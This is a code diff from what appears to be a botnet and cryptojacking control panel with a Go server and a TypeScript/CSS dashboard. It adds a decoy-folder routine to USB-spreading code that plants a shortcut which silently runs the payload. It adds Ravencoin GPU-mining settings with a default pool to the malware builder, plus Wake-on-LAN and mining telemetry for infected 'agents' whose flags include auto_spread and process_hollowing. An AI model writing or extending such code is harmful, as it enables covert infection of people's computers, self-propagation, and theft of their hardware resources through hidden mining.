if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
if !e.IsDir() {
|
||||||
return e.Name() // shortcut will have the same name as the first real folder
|
continue
|
||||||
}
|
}
|
||||||
|
n := e.Name()
|
||||||
|
if strings.HasPrefix(n, "~") || strings.HasPrefix(n, "$") || strings.HasPrefix(n, ".") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
return n
|
||||||
}
|
}
|
||||||
return "Open Documents"
|
return "Open Documents"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// pickDecoyFolderName returns a visible folder name to create on the USB so
|
||||||
|
// the drive looks like it contains real content. It avoids names already
|
||||||
|
// used by pickLinkName so the shortcut name and decoy name differ.
|
||||||
|
func pickDecoyFolderName(drive string) string {
|
||||||
|
candidates := []string{"Documents", "Photos", "Videos", "Music", "Backup", "Files"}
|
||||||
|
entries, _ := os.ReadDir(drive)
|
||||||
|
existing := map[string]bool{}
|
||||||
|
for _, e := range entries {
|
||||||
|
existing[strings.ToLower(e.Name())] = true
|
||||||
|
}
|
||||||
|
for _, c := range candidates {
|
||||||
|
if !existing[strings.ToLower(c)] {
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "Backup"
|
||||||
|
}
|
||||||
|
|
||||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||||
func createFolderShortcut(dir, name, destBin string) {
|
func createFolderShortcut(dir, name, destBin string) {
|
||||||
|
|||||||
@@ -1,12 +1,15 @@
|
|||||||
package api
|
package api
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"encoding/binary"
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -336,6 +339,77 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// PostAgentWOL sends a Wake-on-LAN magic packet to the agent's MAC address.
|
||||||
|
// The packet is broadcast on UDP port 9 to the last known subnet.
|
||||||
|
func (f *FleetHandler) PostAgentWOL(w http.ResponseWriter, r *http.Request) {
|
||||||
|
id := chi.URLParam(r, "id")
|
||||||
|
if id == "" {
|
||||||
|
http.Error(w, "agent id is required", http.StatusBadRequest)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Accept optional override MAC from request body
|
||||||
|
var req struct {
|
||||||
|
MAC string `json:"mac"`
|
||||||
|
}
|
||||||
|
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||||
|
|
||||||
|
// Look up MAC from DB if not provided
|
||||||
|
mac := req.MAC
|
||||||
|
if mac == "" {
|
||||||
|
agent, err := f.db.GetAgent(id)
|
||||||
|
if err != nil || agent == nil {
|
||||||
|
writeJSON(w, map[string]interface{}{"success": false, "error": "agent not found"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
mac = agent.MacAddress
|
||||||
|
}
|
||||||
|
if mac == "" {
|
||||||
|
writeJSON(w, map[string]interface{}{"success": false, "error": "no MAC address on record — provide mac in request body"})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := sendMagicPacket(mac); err != nil {
|
||||||
|
writeJSON(w, map[string]interface{}{"success": false, "error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writeJSON(w, map[string]interface{}{"success": true, "mac": mac})
|
||||||
|
}
|
||||||
|
|
||||||
|
// sendMagicPacket sends a WOL magic packet for the given MAC address.
|
||||||
|
func sendMagicPacket(macStr string) error {
|
||||||
|
macStr = strings.ReplaceAll(macStr, "-", ":")
|
||||||
|
hw, err := net.ParseMAC(macStr)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("invalid MAC address %q: %w", macStr, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Magic packet: 6× 0xFF followed by 16× MAC address (102 bytes total)
|
||||||
|
pkt := make([]byte, 102)
|
||||||
|
for i := 0; i < 6; i++ {
|
||||||
|
pkt[i] = 0xFF
|
||||||
|
}
|
||||||
|
for i := 1; i <= 16; i++ {
|
||||||
|
copy(pkt[i*6:], hw)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Broadcast on limited broadcast address, port 9
|
||||||
|
addr := &net.UDPAddr{IP: net.IPv4bcast, Port: 9}
|
||||||
|
conn, err := net.DialUDP("udp4", nil, addr)
|
||||||
|
if err != nil {
|
||||||
|
// Try port 7 as fallback
|
||||||
|
addr.Port = 7
|
||||||
|
conn, err = net.DialUDP("udp4", nil, addr)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("failed to open UDP socket: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
defer conn.Close()
|
||||||
|
_, err = conn.Write(pkt)
|
||||||
|
_ = binary.BigEndian // ensure import is used
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
type agentMetaRequest struct {
|
type agentMetaRequest struct {
|
||||||
Notes string `json:"notes"`
|
Notes string `json:"notes"`
|
||||||
Tags []string `json:"tags"`
|
Tags []string `json:"tags"`
|
||||||
|
|||||||
@@ -442,6 +442,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
|||||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||||
if fleetHandler != nil {
|
if fleetHandler != nil {
|
||||||
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
||||||
|
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
|
||||||
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
||||||
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
||||||
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
||||||
|
|||||||
@@ -388,10 +388,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
MeshP2P bool `json:"mesh_p2p"`
|
MeshP2P bool `json:"mesh_p2p"`
|
||||||
AutoSpread bool `json:"auto_spread"`
|
AutoSpread bool `json:"auto_spread"`
|
||||||
ProcessHollowing bool `json:"process_hollowing"`
|
ProcessHollowing bool `json:"process_hollowing"`
|
||||||
Platform string `json:"platform"`
|
Platform string `json:"platform"`
|
||||||
Arch string `json:"arch"`
|
Arch string `json:"arch"`
|
||||||
OSVersion string `json:"os_version"`
|
OSVersion string `json:"os_version"`
|
||||||
}
|
MacAddress string `json:"mac_address,omitempty"`
|
||||||
|
}
|
||||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||||
"success": false, "error": "invalid auth payload",
|
"success": false, "error": "invalid auth payload",
|
||||||
@@ -514,6 +515,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
Arch: auth.Arch,
|
Arch: auth.Arch,
|
||||||
OSVersion: auth.OSVersion,
|
OSVersion: auth.OSVersion,
|
||||||
Hostname: auth.Hostname,
|
Hostname: auth.Hostname,
|
||||||
|
MacAddress: auth.MacAddress,
|
||||||
Capabilities: &caps,
|
Capabilities: &caps,
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -598,6 +600,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
DiskFreePct *int `json:"disk_free_pct,omitempty"`
|
||||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||||
|
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||||
|
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||||
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||||
|
GPUModel string `json:"gpu_model,omitempty"`
|
||||||
// SSH + posture
|
// SSH + posture
|
||||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||||
PostureScore *int `json:"posture_score,omitempty"`
|
PostureScore *int `json:"posture_score,omitempty"`
|
||||||
@@ -656,6 +664,15 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
if stats.GPUTempC != nil { broadcast["gpu_temp_c"] = *stats.GPUTempC }
|
||||||
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
if stats.GPUUsagePct != nil { broadcast["gpu_usage_pct"] = *stats.GPUUsagePct }
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining stats
|
||||||
|
if stats.GPUMinerActive != nil {
|
||||||
|
broadcast["gpu_miner_active"] = *stats.GPUMinerActive
|
||||||
|
}
|
||||||
|
if stats.GPUHashrate15s > 0 { broadcast["gpu_hashrate_15s"] = stats.GPUHashrate15s }
|
||||||
|
if stats.GPUHashrate1m > 0 { broadcast["gpu_hashrate_1m"] = stats.GPUHashrate1m }
|
||||||
|
if stats.GPUHashrate15m > 0 { broadcast["gpu_hashrate_15m"] = stats.GPUHashrate15m }
|
||||||
|
if stats.GPUModel != "" { broadcast["gpu_model"] = stats.GPUModel }
|
||||||
|
|
||||||
// Listen port count
|
// Listen port count
|
||||||
if stats.ListenPortCount != nil {
|
if stats.ListenPortCount != nil {
|
||||||
broadcast["listen_port_count"] = *stats.ListenPortCount
|
broadcast["listen_port_count"] = *stats.ListenPortCount
|
||||||
|
|||||||
@@ -85,6 +85,15 @@ type BuildRequest struct {
|
|||||||
// CancelToken is a client-generated UUID. Pass the same token to
|
// CancelToken is a client-generated UUID. Pass the same token to
|
||||||
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
// DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile.
|
||||||
CancelToken string `json:"cancel_token,omitempty"`
|
CancelToken string `json:"cancel_token,omitempty"`
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
GPUEnabled bool `json:"gpu_enabled"`
|
||||||
|
RVNWallet string `json:"rvn_wallet"`
|
||||||
|
RVNPoolHost string `json:"rvn_pool_host"`
|
||||||
|
RVNPoolPort int `json:"rvn_pool_port"`
|
||||||
|
RVNPoolTLS bool `json:"rvn_pool_tls"`
|
||||||
|
RVNPoolPass string `json:"rvn_pool_pass"`
|
||||||
|
RVNBackupPools []BackupPool `json:"rvn_backup_pools"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||||
@@ -1014,6 +1023,15 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
ServiceName: %q,
|
ServiceName: %q,
|
||||||
ServiceDonor: %q,
|
ServiceDonor: %q,
|
||||||
FleetSecret: %q,
|
FleetSecret: %q,
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
GPUEnabled: %v,
|
||||||
|
RVNWallet: %q,
|
||||||
|
RVNPoolHost: %q,
|
||||||
|
RVNPoolPort: %d,
|
||||||
|
RVNPoolTLS: %v,
|
||||||
|
RVNPoolPass: %q,
|
||||||
|
RVNBackupPools: %s,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||||
@@ -1067,9 +1085,37 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
serviceMasqueradeName(buildID, req),
|
serviceMasqueradeName(buildID, req),
|
||||||
serviceMasqueradeDonor(buildID, req),
|
serviceMasqueradeDonor(buildID, req),
|
||||||
h.fleetSecret,
|
h.fleetSecret,
|
||||||
|
req.GPUEnabled,
|
||||||
|
req.RVNWallet,
|
||||||
|
rvnPoolHost(req),
|
||||||
|
rvnPoolPort(req),
|
||||||
|
req.RVNPoolTLS,
|
||||||
|
rvnPoolPass(req),
|
||||||
|
formatGoBackupPools(req.RVNBackupPools),
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func rvnPoolHost(req *BuildRequest) string {
|
||||||
|
if req.RVNPoolHost == "" {
|
||||||
|
return "rvn.2miners.com"
|
||||||
|
}
|
||||||
|
return req.RVNPoolHost
|
||||||
|
}
|
||||||
|
|
||||||
|
func rvnPoolPort(req *BuildRequest) int {
|
||||||
|
if req.RVNPoolPort <= 0 {
|
||||||
|
return 6060
|
||||||
|
}
|
||||||
|
return req.RVNPoolPort
|
||||||
|
}
|
||||||
|
|
||||||
|
func rvnPoolPass(req *BuildRequest) string {
|
||||||
|
if req.RVNPoolPass == "" {
|
||||||
|
return "x"
|
||||||
|
}
|
||||||
|
return req.RVNPoolPass
|
||||||
|
}
|
||||||
|
|
||||||
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
// formatGoBackupPools emits a Go literal for []config.BackupPool.
|
||||||
func formatGoBackupPools(pools []BackupPool) string {
|
func formatGoBackupPools(pools []BackupPool) string {
|
||||||
if len(pools) == 0 {
|
if len(pools) == 0 {
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname,
|
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
@@ -52,7 +52,7 @@ func (d *Database) scanAgent(row interface {
|
|||||||
|
|
||||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname`
|
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address`
|
||||||
|
|
||||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||||
|
|||||||
@@ -125,6 +125,7 @@ func (d *Database) migrate() error {
|
|||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN hostname TEXT NOT NULL DEFAULT ''`)
|
||||||
|
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN mac_address TEXT NOT NULL DEFAULT ''`)
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
@@ -132,8 +133,8 @@ func (d *Database) migrate() error {
|
|||||||
// Agent operations
|
// Agent operations
|
||||||
|
|
||||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname)
|
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version, hostname, mac_address)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?, ?, ?)
|
||||||
ON CONFLICT(id) DO UPDATE SET
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
name = excluded.name,
|
name = excluded.name,
|
||||||
wallet = excluded.wallet,
|
wallet = excluded.wallet,
|
||||||
@@ -146,8 +147,9 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
|||||||
platform = excluded.platform,
|
platform = excluded.platform,
|
||||||
arch = excluded.arch,
|
arch = excluded.arch,
|
||||||
os_version = excluded.os_version,
|
os_version = excluded.os_version,
|
||||||
hostname = excluded.hostname`
|
hostname = excluded.hostname,
|
||||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
|
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||||
|
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -28,10 +28,11 @@ type Agent struct {
|
|||||||
Notes string `json:"notes"`
|
Notes string `json:"notes"`
|
||||||
Tags []string `json:"tags"`
|
Tags []string `json:"tags"`
|
||||||
|
|
||||||
Platform string `json:"platform,omitempty"`
|
Platform string `json:"platform,omitempty"`
|
||||||
Arch string `json:"arch,omitempty"`
|
Arch string `json:"arch,omitempty"`
|
||||||
OSVersion string `json:"os_version,omitempty"`
|
OSVersion string `json:"os_version,omitempty"`
|
||||||
Hostname string `json:"hostname,omitempty"`
|
Hostname string `json:"hostname,omitempty"`
|
||||||
|
MacAddress string `json:"mac_address,omitempty"`
|
||||||
|
|
||||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||||
@@ -57,6 +58,13 @@ type Agent struct {
|
|||||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||||
|
|
||||||
|
// GPU / Ravencoin mining
|
||||||
|
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||||
|
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||||
|
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||||
|
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||||
|
GPUModel string `json:"gpu_model,omitempty"`
|
||||||
|
|
||||||
// Crucible — SSH status probed by the agent every ~60s
|
// Crucible — SSH status probed by the agent every ~60s
|
||||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||||
|
|
||||||
|
|||||||
@@ -149,6 +149,11 @@ export const api = {
|
|||||||
method: 'POST',
|
method: 'POST',
|
||||||
body: JSON.stringify({ action, ...payload }),
|
body: JSON.stringify({ action, ...payload }),
|
||||||
}),
|
}),
|
||||||
|
sendWOL: (id: string, mac?: string) =>
|
||||||
|
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
|
||||||
|
method: 'POST',
|
||||||
|
body: JSON.stringify(mac ? { mac } : {}),
|
||||||
|
}),
|
||||||
getAgentLog: (id: string, refresh = false) =>
|
getAgentLog: (id: string, refresh = false) =>
|
||||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||||
|
|
||||||
|
|||||||
@@ -128,7 +128,7 @@
|
|||||||
.tactical-bottom-row {
|
.tactical-bottom-row {
|
||||||
display: flex;
|
display: flex;
|
||||||
gap: 20px;
|
gap: 20px;
|
||||||
height: 250px;
|
height: 380px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.drop-zone {
|
.drop-zone {
|
||||||
@@ -172,13 +172,32 @@
|
|||||||
white-space: pre-wrap;
|
white-space: pre-wrap;
|
||||||
}
|
}
|
||||||
|
|
||||||
.terminal-placeholder { color: #555; font-style: italic; }
|
.terminal-titlebar {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-between;
|
||||||
|
align-items: center;
|
||||||
|
padding: 5px 10px;
|
||||||
|
background: #0a0014;
|
||||||
|
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||||
|
flex-shrink: 0;
|
||||||
|
}
|
||||||
|
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
||||||
|
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||||
|
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||||
|
|
||||||
|
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
|
||||||
|
|
||||||
|
.log-line.log-ok { color: #00ff88; }
|
||||||
|
.log-line.log-err { color: #ff4444; }
|
||||||
|
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
|
||||||
|
.log-line.log-warn { color: #ffaa00; }
|
||||||
|
|
||||||
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
||||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||||
|
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||||
|
|
||||||
/* Upgrade section */
|
/* Upgrade section */
|
||||||
.upgrade-group { grid-column: 1 / -1; }
|
.upgrade-group { grid-column: 1 / -1; }
|
||||||
@@ -212,4 +231,95 @@
|
|||||||
font-size: 0.82rem;
|
font-size: 0.82rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.log-line { line-height: 1.45; word-break: break-all; }
|
.log-line { line-height: 1.45; word-break: break-all; }
|
||||||
|
|
||||||
|
/* Offline & busy badges in header */
|
||||||
|
.offline-badge {
|
||||||
|
font-size: 0.7rem;
|
||||||
|
padding: 3px 8px;
|
||||||
|
background: rgba(255,40,40,0.2);
|
||||||
|
border: 1px solid rgba(255,40,40,0.5);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #ff6666;
|
||||||
|
font-weight: bold;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
}
|
||||||
|
.busy-badge {
|
||||||
|
font-size: 0.7rem;
|
||||||
|
padding: 3px 8px;
|
||||||
|
background: rgba(255,171,0,0.2);
|
||||||
|
border: 1px solid rgba(255,171,0,0.4);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #ffcc44;
|
||||||
|
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||||
|
}
|
||||||
|
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
||||||
|
|
||||||
|
@keyframes pulse-amber {
|
||||||
|
0%, 100% { opacity: 1; }
|
||||||
|
50% { opacity: 0.5; }
|
||||||
|
}
|
||||||
|
|
||||||
|
/* WOL section */
|
||||||
|
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
|
||||||
|
.wol-toggle {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
padding: 6px 12px;
|
||||||
|
border-radius: 4px;
|
||||||
|
border: 1px solid rgba(0,229,255,0.3);
|
||||||
|
background: rgba(0,229,255,0.06);
|
||||||
|
color: #00e5ff;
|
||||||
|
cursor: pointer;
|
||||||
|
transition: all 0.2s;
|
||||||
|
text-align: left;
|
||||||
|
}
|
||||||
|
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
|
||||||
|
.wol-form {
|
||||||
|
display: flex;
|
||||||
|
gap: 0.5rem;
|
||||||
|
align-items: center;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
.wol-mac-input {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 220px;
|
||||||
|
background: rgba(0,0,0,0.5);
|
||||||
|
border: 1px solid rgba(0,229,255,0.25);
|
||||||
|
border-radius: 4px;
|
||||||
|
color: #e0e0e0;
|
||||||
|
padding: 6px 10px;
|
||||||
|
font-size: 0.82rem;
|
||||||
|
font-family: 'Consolas', monospace;
|
||||||
|
outline: none;
|
||||||
|
}
|
||||||
|
.wol-mac-input:focus { border-color: #00e5ff; }
|
||||||
|
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||||
|
|
||||||
|
/* Compact mode extras */
|
||||||
|
.compact-offline-banner {
|
||||||
|
font-size: 0.72rem;
|
||||||
|
color: #ff6666;
|
||||||
|
background: rgba(255,40,40,0.1);
|
||||||
|
border: 1px solid rgba(255,40,40,0.3);
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 3px 8px;
|
||||||
|
margin-bottom: 6px;
|
||||||
|
}
|
||||||
|
.compact-terminal {
|
||||||
|
margin-top: 6px;
|
||||||
|
background: #050505;
|
||||||
|
border: 1px solid #1a1a1a;
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 5px 8px;
|
||||||
|
font-family: 'Consolas', monospace;
|
||||||
|
font-size: 0.72rem;
|
||||||
|
max-height: 80px;
|
||||||
|
overflow-y: auto;
|
||||||
|
}
|
||||||
|
.compact-log-line {
|
||||||
|
color: #aaa;
|
||||||
|
line-height: 1.35;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
.compact-log-line:last-child { color: #e0e0e0; }
|
||||||
@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
|
|||||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||||
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
import './AgentRemoteActions.css';
|
import './AgentRemoteActions.css';
|
||||||
|
|
||||||
const TERMINAL_MAX_LINES = 500;
|
const TERMINAL_MAX_LINES = 500;
|
||||||
@@ -22,6 +23,8 @@ interface Props {
|
|||||||
